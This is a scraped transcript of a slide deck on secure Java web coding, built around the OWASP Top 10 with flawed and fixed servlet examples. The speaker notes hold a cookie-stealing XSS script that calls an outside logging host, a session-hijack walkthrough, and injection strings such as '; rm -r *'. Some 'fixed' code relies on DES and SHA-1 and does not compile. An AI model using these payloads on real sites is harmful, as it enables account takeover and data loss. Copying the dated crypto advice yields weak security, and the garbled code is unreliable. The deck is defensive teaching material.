Presentation is loading. Please wait.

Presentation is loading. Please wait.

Secure Web Coding w/Java

Similar presentations


Presentation on theme: "Secure Web Coding w/Java"— Presentation transcript:

1 Secure Web Coding w/Java
Martin Nystrom, CISSP Security Architect Cisco Systems, Inc.

2 Note the rate of growth in incidents, yet reported vulnerabilities remains relatively flat, even trending down for 2003. On one hand, it means that attackers can do “more with less” and attack successfully given the same old vulnerabilities. On the other hand, fewer reported vulnerabilities may very well mean that attackers are going after custom applications now.

3 Who am I? Security Architect in Cisco’s InfoSec
Responsible for consulting with application teams to secure their architecture Monitor for infrastructure vulnerabilities Infrastructure security architect 12 years developing application architectures Java programmer Master of Engineering – NC State University (2003) Bachelor’s - Iowa State University – (1990)

4 Outline Introduction to web hacking Web architecture
Principles of secure programming Top 10 web vulnerabilities from OWASP

5 Secure development stats
Research conducted by MIT Fixing defects during testing is 7 times cheaper than during development ROI of fixing bugs Testing: 12% ROI Implementation: 15% ROI Design: 21% ROI For example, research conducted by The MIT Sloane School of Management revealed some interesting statistics: on average organisations caught only a quarter of their software security holes and typically had 7 significant bugs within their enterprise software. These findings verified that fixing the same defects during the testing phase would cost 7 times less than after deployment. Further, that building security into software engineering at the design stage would net a 21% ROSI; waiting until the implementation stage would reduce that to 15% and at the testing stage, the ROSI would fall to 12%. IBM reported similar findings - the cost to fix an error found after product release was 4 to 5 times as much as one uncovered during design, and up to 100 times more than one identified in the design phase.

6 95% of web apps have vulnerabilities
Cross-site scripting (80 per cent) SQL injection (62 per cent) Parameter tampering (60 per cent) Cookie poisoning (37 per cent) Database server (33 per cent) Web server (23 per cent) Buffer overflow (19 per cent) Source:

7 Why worry? Net worm using Google to spread
“…uses a flaw in the widely used community forum software known as the PHP Bulletin Board (phpBB) to spread…” California reports massive data breach “…The compromised system had the names, addresses, phone numbers, social security numbers, and dates of birth of everyone who provided or received care .” Google bug exposes to hackers “…By altering the "From" address field of an sent to the service, hackers could potentially find out a user's personal information, including passwords. ...''  truckstop.com web application stolen by competitor “…Getloaded's officers also hacked into the code Creative used to operate its website.” Net worm article: Google bug article: Kevin Mitnick’s site hacked: …” A hacker calling himself "BugBear" added one page to Mitnick's corporate Web site on January 30 with a message, "Welcome back to freedom, Mr. Kevin," and added that "it was fun and easy to break into your box." He included a photograph of a polar bear with two cubs. “

8 Web server attack Discover Target Examine the environment
Identify open ports Discover types/versions of apps running Banner grabbing Extensions (.jhtml, .jsp, etc.) and directory structures Generate and examine errors Submit ridiculous input to provoke errors (fuzzing) Database errors, stack traces very helpful Find info left behind (source code, comments, hidden fields) Target Login mechanism Input fields Session mgmt Infrastructure You would use tools like nmap (www.insecure.org) to scan. Tools like SuperScan from Foundstone can also do this, and can do banner grabbing & TCP fingerprinting in the process. WebDAV exploit: Compiled exploit:

9 A word of warning These tools and techniques can be dangerous
The difference between a hacker and a cracker is…permission Admins will see strange activity in logs, and come looking for you Authorities are prosecuting even the “good guys” for using these tools

10 Security principles of web architecture
Practice defense-in-depth Separate services Web server, app server, db server on separate hosts Limit privileges of application user File system (chroot or limit privs to read-only) Database system (limit privileges on tables, schemas, etc.) Privileges of running user (xxtomcat, apache, kobayashi, etc.) Hide secrets Database account passwords Encryption keys Use standard, vetted components, libraries Keep them patched Log, and watch logs for unusual activity Load-test and tune accordingly

11 Example web environment
Internet DMZ Protected network Internal network AJP IIOP T9 etc. DB Clear-text or SSL Web server App server (optional) HTTP request Web app Web app Web app transport DB Web app This example demonstrates the placement of firewalls and technologies commonly used in building a web infrastructure. Web client: IE, Mozilla, etc. Apache IIS Netscape etc. J2EE server ColdFusion Oracle 9iAS etc. Perl C++ CGI Java ASP PHP etc. ADO ODBC JDBC etc. Oracle SQL Server etc. HTTP reply (HTML, JavaScript, VBScript, etc.)

12 Web Application Security
Securing the application Input validation Session mgmt Authentication Authorization Config mgmt Error handling Secure storage Auditing/logging Web server App server DB server firewall firewall apps apps database host host host Note that security is often begun in the network and host boxes, but application security requires work at the top box (application layer) Securing the network Router Firewall Switch Securing the host Patches/updates Accounts Ports Services Files/directories Registry Protocols Shares Auditing/logging

13 OWASP Top 10 Web Application Security Vulnerabilities
Unvalidated input Broken access control Broken account/session management Cross-site scripting (XSS) flaws Buffer overflows Injection flaws Improper error handling Insecure storage Denial-of-service Insecure configuration management Here are the top 10 vulns as seen by OWASP

14 Principles for secure coding
Don’t trust input from user Watch for logic holes Leverage common, vetted resources Only give information needed Leverage vetted infrastructure & components Build/test to withstand load Expected load Potential DOS attack

15 #1: Unvalidated Input Attacker can easily change any part of the HTTP request before submitting URL Cookies Form fields Hidden fields Headers Input must be validated on the server (not just the client). CoolCarts: Countermeasures Code reviews (check variable against list of allowed values, not vice-versa) Don’t accept unnecessary input from user Store in session or trusted back-end store Sanitize input with regex Input validation demo Go to Edit hidden values on form Remember to modify action on the form too (replace /cgi-bin with Re-open in browser and click “Preview total” Do NOT submit order Go to “Hidden field tampering” Save page to disk Open page in text editor search for “price” – change price search for “action” – change action to Open page in browser and click “purchase”

16 #1: Unvalidated input (example)
public void doPost(HttpServletRequest req,…) { String customerId = req.getParameter(“customerId”); String sku = req.getParameter(“sku”); String stringPrice = req.getParameter(“price”); Integer price = Integer.valueOf(stringPrice); // Store in the database orderManager.submitOrder(sku,customerId,price); } // end doPost The problem here is that the price is being grabbed directly from the request input (req.getParameter(“price”)).

17 #1: Unvalidated input (corrected)
public void doPost(HttpServletRequest req,…) { // Get customer data String customerId = req.getParameter(“customerId”); String sku = req.getParameter(“sku”); // Get price from database Integer price = skuManager.getPrice(sku); // Store in the database orderManager.submitOrder(sku,customerId,price); } // end doPost Rather than getting the price from the request, the solution is to get the price from the database, flagging an error if it does not match what’s on the page. This is accomplished with the call “skuManager.getPrice(sku)”

18 #2: Broken access control
Usually inconsistently defined/applied Examples Path traversal Forced browsing past access control checks File permissions – may allow access to config/password files Logic flaws Client-side caching Countermeasures Use non-programmatic controls Access control via central container Code reviews Logic flaws can allow users to take advantage of coding flaws to break into the application. This can be demonstrated in WebGoat at the “fail open” authentication section or in the “HTML clues” section Demonstrate this with WebScarab using WebGoat 3.5 and “Fail Open Authentication”

19 #2: Broken access control (example)
protected void doPost(HttpServletRequest req, HttpServletResponse res) { try { String username = req.getParameter(“USERNAME”); String password = req.getParameter(“PASSWORD”); Connection connection = DatabaseUtilities.makeConnection(); PreparedStatement statement = connection.prepareStatement ("SELECT * FROM user_system_data WHERE user_name = ? AND password = ?”); statement.setString(1,username); statement.setString(2,password); ResultSet results = statement.executeQuery(query); results.first(); if (results.getString(1).equals(“”)) { s.setMessage("Invalid username and password entered."); return (makeLogin(s)); } // end results check } catch (Exception e) {} // continue and display the page if (username != null && username.length() > 0) { return (makeUser(s, username, "PARAMETERS")); } // end username test } catch (Exception e) { s.setMessage("Error generating " + this.getClass().getName()); } // end try/catch } // end doPost The problem is that if “results” is null upon execution of the query, it will throw an exception. The “catch” block is empty, so the logic drops down into the “if (username != null)” section, which inevitably answers “yes”, and allows the logic to drop into a positive response. The flaw is that if the password is null or non-existent, the user will be authenticated with just a username.

20 #2: Broken access control (solution) How to set up basic authentication on CCX
<security-constraint> <web-resource-collection> <web-resource-name>Admin</web-resource-name> <url-pattern>/jsp/admin/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>(accessLevel=4)</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> <realm-name>CCO</realm-name> </login-config> A better solution is to defer authentication to the container. Allow the web server to do BASIC or FORM authentication to take care of this. This first example is for BASIC authentication on CCO. It restricts access to the /jsp/Admin pages to employees only (accessLevel=4). It uses HTTP basic authentication.

21 #2: Broken access control (solution) How to set up form authentication on CCX
web.xml file <!-- LOGIN AUTHENTICATION --> <login-config> <auth-method>FORM</auth-method> <realm-name>CCO</realm-name> <form-login-config> <form-login-page>login.jsp</form-login-page> <form-error-page>error.jsp</form-error-page> </form-login-config> </login-config> This next example demonstrates how to authenticate a user with form authentication on the container. This allows CCO users to log in via form authentication and their CCO username/password. The web.xml file notes that the login page is “login.jsp”, the error page is “error.jsp”. Your login.jsp must then include the exact phrases show (j_username, etc.) to trigger the container authentication. login.jsp <form method="POST" action= "j_security_check" > <input type="text" name= "j_username" > <input type="password" name= "j_password" > </form>

22 #3: Broken Account and Session Management
Weak user authentication Password-only Easily guessable usernames (admin, etc.) Poorly implemented single sign-on (SSO) Weak resource authentication How are database passwords stored? Review trust relationships between hosts IP address can be spoofed, etc. Countermeasures Use vetted single sign-on and session mgmt solution Netegrity SiteMinder RSA ClearTrust Strong passwords Remove default user names Protect sensitive files Password cracking Guess, sniff, reset, or crack passwords Social engineering Find default passwords Open Go to “Weak Authentication Cookie” Log in as webgoat/webgoat See cookie is “65432fdjmb” Observe pattern for cookie encoding (12345<username>, add 1 to each character, reverse) Log in as alice with cookie Predictable session ids article: Tomcat source code & revisions for SessionIdGenerator.java:

23 #3: Broken account/session management (client example - SSO)
public void doGet(HttpServletRequest req,…) { // Get user name String userId = req.getRemoteUser(); Cookie ssoCookie = new Cookie(“userid”,userId); ssoCookie.setPath(“/”); ssoCookie.setDomain(“cisco.com”); response.addCookie(ssoCookie); } Notice that the Cookie is stored with the plain-text userid of the logged in user. In this example, the application that expects to share a cookie with this system (shown on the next slide), will find the cookie stored in plain text.

24 #3: Broken account/session management (server example - SSO)
public void doGet(HttpServletRequest req,…) { // Get user name Cookie[] cookies = req.Cookies(); for (i=0; i < cookies.length; i++) { Cookie cookie = cookies[i]; if (cookie.getName().equals(“ssoCookie”)) { String userId = cookie.getValue(); HttpSession session = req.getSession(); session.setAttribute(“userId”,userId); } // end if } // end for } // end doGet Here, the user is set from a plain-text cookie that was passed by the client. Obviously, that cookie could have been spoofed.

25 #3: Broken account/session management (client solution - SSO)
public void doGet(HttpServletRequest req,…) { // Get user name String userId = req.getRemoteUser(); encryptedUserId = Encrypter.encrypt(userId); Cookie ssoCookie = new Cookie(“userid”,encrypteduserId); ssoCookie.setPath(“/”); ssoCookie.setDomain(“cisco.com”); response.addCookie(ssoCookie); } Now, the cookie is encrypted with a standard encryption library to protect the contents from spoofing.

26 #3: Broken account/session management (server solution - SSO)
public void doGet(HttpServletRequest req,…) { // Get user name Cookie[] cookies = req.Cookies(); for (i=0; i < cookies.length; i++) { Cookie cookie = cookies[i]; if (cookie.getName().equals(“ssoCookie”)) { String encryptedUserId = cookie.getValue(); String userId = Encrypter.decrypt(encryptedUserId); if (isValid(userId)) { HttpSession session = req.getSession(); session.setAttribute(“userId”,userId); } } // end if } // end for } // end doGet Here, the user is first decrypted before being accepted as the user’s identity. Obviously, if the cookie doesn’t decrypt to a valid value (checked by the “isValid” method), it won’t allow the user’s cookie to be set properly, which is a good security check.

27 #4: Cross-Site Scripting (XSS)
Attacker… Inject code into web page that is then displayed to user in the browser Uses trusted application/company to reflect malicious code to end-user Can “hide” the malicious code w/unicode Vulnerable anywhere user-supplied data is redisplayed w/out input validation or output encoding 2 types of attacks: stored & reflected Can steal cookies, especially vulnerable on apps with form-based authentication Countermeasures Input validation White-listing: a-z, A-Z, 0-9, etc.) Black-listing: “< > ( ) # &” Don’t forget these: “< > ( ) # &” Output encoding (htmlEncode output) Truncate input fields to reasonable length Example: To demonstrate Log in with credentials: /energy 3)Close browser 4) Pretend you get an asking you to click on this link to update your credentials: src='http://thirdhalf.cisco.com/CookieGrabber/xss2.js'></script> 5) Attacker monitors thirdhalf:/usr/apps/tomcat/current/stolencookies.log 6) Attacker finds new session id (from cookie) in the log. 7) Attacker start proxy server, point browser to it 8) Attacker enters URL: , gets redirected to the login page 10) Attacker changes “login.jsp” to “index.jsp” and adds jsessionid stolen from prior step 11) When request is intercepted, change jsessionid in the cookie to the one he stole, attacker gets login page. Stored example: Go to Database XSS example, and store the following in the message field: <script language="javascript" type="text/javascript">alert("Ha Ha Ha");</script> For reflected attack, add the above line to Example of what this can do: CitiBank Phishing scam: 5) Attacker monitors thirdhalf:/usr/apps/tomcat/current/stolencookies.log. 6) Attacker finds new session id (from cookie) in the log. 7) Attacker start proxy server, point browser to it. 8) Attacker enters URL: http://thirdhalf/accountadmin. , gets redirected to the login page. 10) Attacker changes login.jsp to index.jsp and adds jsessionid stolen from prior step. 11) When request is intercepted, change jsessionid in the cookie to the one he stole, attacker gets login page. Stored example: http://linuxvm:8080/WebGoat/attack. Go to Database XSS example, and store the following in the message field: For reflected attack, add the above line to http://www.cisco.com. Example of what this can do: http://eyeonsecurity.org/papers/passport.htm. CitiBank Phishing scam: http://www.securityfocus.com/infocus/1745.", "width": "800" }

28 #4: Cross-site scripting (flaw)
protected void doPost(HttpServletRequest req, HttpServletResponse res) { String title = req.getParameter(“TITLE”); String message = req.getParameter(“MESSAGE”); try { connection = DatabaseUtilities.makeConnection(s); PreparedStatement statement = connection.prepareStatement (“INSERT INTO messages VALUES(?,?)”); statement.setString(1,title); statement.setString(2,message); statement.executeUpdate(); } catch (Exception e) { } // end catch } // end doPost The flaw here is that the values are taken directly from the request and placed into the database, with no input validation or sanitizing.

29 #4: Cross-site scripting (solution)
private static String stripEvilChars(String evilInput) { Pattern evilChars = Pattern.compile(“[^a-zA-Z0-9]”); return evilChars.matcher(evilInput).replaceAll(“”); } protected void doPost(HttpServletRequest req, HttpServletResponse res) { String title = stripEvilChars(req.getParameter(“TITLE”)); String message = stripEvilChars(req.getParameter(“MESSAGE”)); try { connection = DatabaseUtilities.makeConnection(s); PreparedStatement statement = connection.prepareStatement (“INSERT INTO messages VALUES(?,?)”); statement.setString(1,title); statement.setString(2,message); statement.executeUpdate(); } catch (Exception e) { } // end catch } // end doPost To fix this, add the “stripEvilChars” method that uses JDK 1.4’s pattern matching with regular expressions.

30 #5 Buffer overflow errors
Not generally an issue with Java apps Avoid use of native methods Especially from untrusted sources Java apps don’t typically have an issue with buffer overflows, because of its safe typing and pointer handling.

31 #6: Injection flaws Allows attacker to relay malicious code in form variables or URL System commands SQL Typical dangers Runtime.exec() to external programs (like sendmail) Dynamically concatenated SQL statements Examples Path traversal: “../” Add more commands: “; rm –r *” SQL injection: “’ OR 1=1” Countermeasures Use PreparedStatements in SQL Avoid Runtime.exec() calls (use libraries instead) Run with limited privileges Filter/validate input Java example/Unix Go to WebGoat/SQL Injection Demonstrate how to close SQL query with single quote (‘) Demonstrate how to negate the where clause with “OR 1=1”

32 #6: SQL injection (flaw)
protected void doPost(HttpServletRequest req, HttpServletResponse res) { String query = "SELECT userid, name FROM user_data WHERE accountnum = '" + req.getParameter(“ACCT_NUM”) + “’”; PrintWriter out = res.getWriter(); // HTML stuff to out.println… try { connection = DatabaseUtilities.makeConnection(s); Statement statement = connection.createStatement(); ResultSet results = statement.executeQuery(query); while (results.next ()) { out.println("<TR><TD>“ + rset.getString(1) + “</TD>”); out.println("<TD>“ + rset.getString(2) + “</TD>”); } // end while } catch (Exception e) { // exception handling… } // end catch } // end doPost The flaw is because the programmer is building the query string as a string rather than as a PreparedStatement, allowing characters to be inserted that trip the query

33 #6: SQL injection (fix) protected void doPost(HttpServletRequest req, HttpServletResponse res) { PrintWriter out = res.getWriter(); // HTML stuff to out.println… try { connection = DatabaseUtilities.makeConnection(s); PreparedStatement statement = connection.prepareStatement ("SELECT userid, name FROM user_data WHERE accountnum = ?“); statement.setString(1,req.getParameter(“ACCT_NUM”); ResultSet results = statement.executeQuery(query); while (results.next ()) { out.println("<TR><TD>“ + rset.getString(1) + “</TD>”); out.println("<TD>“ + rset.getString(2) + “</TD>”); } // end while } catch (Exception e) { // exception handling… } // end catch } // end doPost To fix this, the programmer should build the query as a PreparedStatement

34 #7: Improper error handling
Examples: stack traces, DB dumps Helps attacker know how to target the app Often left behind during programmer debugging Inconsistencies can be revealing “File not found” vs. “Access denied” Gives insight into source code Logic flaws Default accounts, etc. Good messages give enough info to user w/o giving too much info to attacker Countermeasures Code review Modify default error pages (404, 401, etc.) Log details to log files, not returned in HTTP request

35 Error messages example

36 #7: Improper error handling (flaw)
protected void doPost(HttpServletRequest req, HttpServletResponse res) { String query = "SELECT userid, name FROM user_data WHERE accountnum = '" + req.getParameter(“ACCT_NUM”) + “’”; PrintWriter out = res.getWriter(); // HTML stuff to out.println… try { connection = DatabaseUtilities.makeConnection(s); Statement statement = connection.createStatement(); ResultSet results = statement.executeQuery(query); while (results.next ()) { out.println("<TR><TD>“ + rset.getString(1) + “</TD>”); out.println("<TD>“ + rset.getString(2) + “</TD>”); } // end while } catch (Exception e) { e.printStackTrace(out); } // end catch } // end doPost The flaw here is that we are showing the entire stack trace to the user, which will certainly help them in future attacks.

37 #7: Improper error handling (solution)
protected void doPost(HttpServletRequest req, HttpServletResponse res) { String query = "SELECT userid, name FROM user_data WHERE accountnum = '" + req.getParameter(“ACCT_NUM”) + “’”; PrintWriter out = res.getWriter(); // HTML stuff to out.println… try { connection = DatabaseUtilities.makeConnection(s); Statement statement = connection.createStatement(); ResultSet results = statement.executeQuery(query); while (results.next ()) { out.println("<TR><TD>“ + rset.getString(1) + “</TD>”); out.println("<TD>“ + rset.getString(2) + “</TD>”); } // end while } catch (Exception e) { Logger logger = Logger.getLogger(); logger.log(Level.SEVERE,”Error retrieving account number”,e); out.println(“Sorry, but we are unable to retrieve this account”); } // end catch } // end doPost To fix this, log the stack trace to the system logs, but only show a generic error message to the user.

38 #8: Insecure storage Sensitive data such as credit cards, passwords, etc. must be protected Examples of bad crypto Poor choice of algorithm Poor randomness in sessions/tokens Storage locations must be protected Database Files Memory Countermeasures Store only what you must Store a hash instead of the full value if you can (SHA-1, for example) Use only vetted, public cryptography

39 #8: Insecure storage – bad example
public String encrypt(String plainText) { plainText = plainText.replace(“a”,”z”); plainText = plainText.replace(“b”,”y”); return Base64Encoder.encode(plainText); } This user thinks he’s encrypting the data, but he’s just scrambling it. He’s bound to find that the scrambling algorithm is not sufficiently complex to throw off attack.

40 #8: Insecure storage – fixed example
public String encrypt(String plainText) { // Read encryptKey as a byte array from a file DESKeySpec keySpec = new DESKeySpec(encryptKey); SecretKeyFactory factory = new SecretKeyFactory.getInstance(“DES”); SecretKey key = factory.generateSecret(keySpec); Cipher cipher = Cipher.getInstance(“DES”); cipher.init(Cipher.ENCRYPT_MODE,key); byte[] utf8text = plainText.getBytes(“UTF8”); byte[] enryptedText = ecipher.doFinal(utf8text); return Base64Encoder.encode(encryptedText); } Here’s a better example of encryption, using DES standard encryption and a secret key. This method depends on a secret key stored in a file that is shared between sender and receiver.

41 #9: Denial-of-service (DoS)
Examples that may provoke DoS Heavy object allocation/reclamation Overuse of logging Unhandled exceptions Unresolved dependencies on other systems Web services Databases May impact other applications, hosts, databases, or network itself Countermeasures Load testing Code review Denial-of-service is often caused by the examples above.

42 #10: Insecure configuration management
Tension between “work out of the box” and “use only what you need” Developers ≠ web masters Examples Unpatched security flaws (BID example) Misconfigurations that allow directory traversal Administrative services accessible Default accounts/passwords Countermeasures Create and use hardening guides Turn off all unused services Set up and audit roles, permissions, and accounts Set up logging and alerts Oracle 9ias examples: IIS Hardening guide: C:\Documents and Settings\mnystrom\My Documents\InfoSec\Technical Reference NT IIS 5_0 and Win2K Hardening Configuration.htm Apache hardening guide: C:\Documents and Settings\mnystrom\My Documents\InfoSec\Apache hardening guide.doc Example:

43 Principles for secure coding
Don’t trust input from user Watch for logic holes Leverage common, vetted resources Only give information needed Leverage vetted infrastructure & components Build/test to withstand load Expected load Potential DOS attack

44 Tools used in this preso
WebGoat –vulnerable web applications for demonstration VMWare – runs Linux & Windows 2000 virtual machines on demo laptop. nmap –host/port scanning to find vulnerable hosts Mozilla Firefox – browser that supports plug-ins for proxied HTTP, source browsing SwitchProxy plug-in lets you quickly switch your proxies WebDeveloper plug-in lets you easily clear HTTP auth WebScarab – HTTP proxy WebGoat: VMWare: Nmap: Mozilla Firefox: WebScarab:

45 Backup slides & old slides

46 #9: Remote Administration Flaws
Problems Weak authentication (username=“admin”) Weak encryption Countermeasures Don’t place admin interface on same server Use strong authentication: certificates, tokens, strong passwords, etc. Encrypt entire session (VPN or SSL) Control who has accounts IP restrictions Example: Example ColdFusion:

47 #7: Fail open authentication – code fix
protected void doPost(HttpServletRequest req, HttpServletResponse res) { try { String username = req.getParameter(“USERNAME”); String password = req.getParameter(“PASSWORD”); Connection connection = DatabaseUtilities.makeConnection(); PreparedStatement statement = connection.prepareStatement ("SELECT * FROM user_system_data WHERE user_name = ? AND password = ?”); statement.setString(1,username); statement.setString(2,password); ResultSet results = statement.executeQuery(query); if (results == null || !results.first()) { s.setMessage("Invalid username and password entered."); return (makeLogin(s)); } // end results check } catch (Exception e) {} // continue and display the page if (username != null && username.length() > 0) { return (makeUser(s, username, "PARAMETERS")); } // end username test } catch (Exception e) { s.setMessage("Error generating " + this.getClass().getName()); } // end try/catch } // end doPost

48 #10: Insecure configuration management
Tension between “work out of the box” and “use only what you need” Developers ≠ web masters Examples Unpatched security flaws (BID example) Misconfigurations that allow directory traversal Administrative services accessible Default accounts/passwords Countermeasures Create and use hardening guides Turn off all unused services Set up and audit roles, permissions, and accounts Set up logging and alerts Oracle 9ias examples: IIS Hardening guide: C:\Documents and Settings\mnystrom\My Documents\InfoSec\Technical Reference NT IIS 5_0 and Win2K Hardening Configuration.htm Apache hardening guide: C:\Documents and Settings\mnystrom\My Documents\InfoSec\Apache hardening guide.doc Examples: Show how an administrator might want to change admin web site properties for Admin web server, select “Directory Security/IP address and domain name restrictions/Edit…”

49 #3 bad example of session id generation
// Tomcat version 1 (JServ) // public class SessionIdGenerator { private static int counter = 1010; public static synchronized String generateId() { Integer i = new Integer(counter++); StringBuffer buf = new StringBuffer(); String dString = Double.toString(Math.abs(Math.random())); buf.append("To"); buf.append(i); buf.append("mC"); buf.append(dString.substring(2, dString.length())); buf.append("At"); return buf.toString(); }

50 #3 fixed example session id generation
public class SessionIdGenerator { static private int session_count = 0; static private long lastTimeVal = 0; static private java.util.Random randomSource = new java.security.SecureRandom(); // MAX_RADIX is 36 public final static long maxRandomLen = L; // 36 ** 6 public final static long maxSessionLifespanTics = 46656; // 36 ** 3 public final static long ticDifference = 2000; static synchronized public String getIdentifier (String jsIdent) { StringBuffer sessionId = new StringBuffer(); // random value .. long n = randomSource.nextLong(); if (n < 0) n = -n; n %= maxRandomLen; n += maxRandomLen; sessionId.append (Long.toString(n, Character.MAX_RADIX) .substring(1)); long timeVal = (System.currentTimeMillis() / ticDifference); // cut.. timeVal %= maxSessionLifespanTics; // padding, see above timeVal += maxSessionLifespanTics; sessionId.append (Long.toString (timeVal, Character.MAX_RADIX) if (lastTimeVal != timeVal) { lastTimeVal = timeVal; session_count = 0; } sessionId.append (Long.toString (++session_count, Character.MAX_RADIX)); if (jsIdent != null && jsIdent.length() > 0) { return sessionId.toString()+"."+jsIdent; return sessionId.toString(); public static synchronized String generateId() { return getIdentifier(null);

51 #4: Bad example – output vuln to XSS
protected void doGet(HttpServletRequest req, HttpServletResponse res) { int messageNum = Integer(res.getParameter(NUMBER)).intValue(); String title, message; try { PreparedStatement statement = connection.prepareStatement ("SELECT title,message FROM messages WHERE num = ?“); statement.setInt(1,messageNum); ResultSet results = statement.executeQuery(query); title = results.getString(1); message = results.getString(2); } catch(Exception e) { // exception handling } PrintWriter out = response.printWriter(); res.setContentType(“text/html”); PrintWriter out = res.getWriter(); // HTML page formatting out.println(title + “ - “ + message);

52 #4: Good example – output vuln to XSS
protected void doGet(HttpServletRequest req, HttpServletResponse res) { int messageNum = Integer(res.getParameter(NUMBER)).intValue(); String title, message; try { PreparedStatement statement = connection.prepareStatement ("SELECT title,message FROM messages WHERE num = ?“); statement.setInt(1,messageNum); ResultSet results = statement.executeQuery(query); title = results.getString(1); message = results.getString(2); } catch(Exception e) { // exception handling } PrintWriter out = response.printWriter(); res.setContentType(“text/html”); PrintWriter out = res.getWriter(); // HTML page formatting out.println(htmlEncode(title + “ - “ + message));


Download ppt "Secure Web Coding w/Java"

Similar presentations


Ads by Google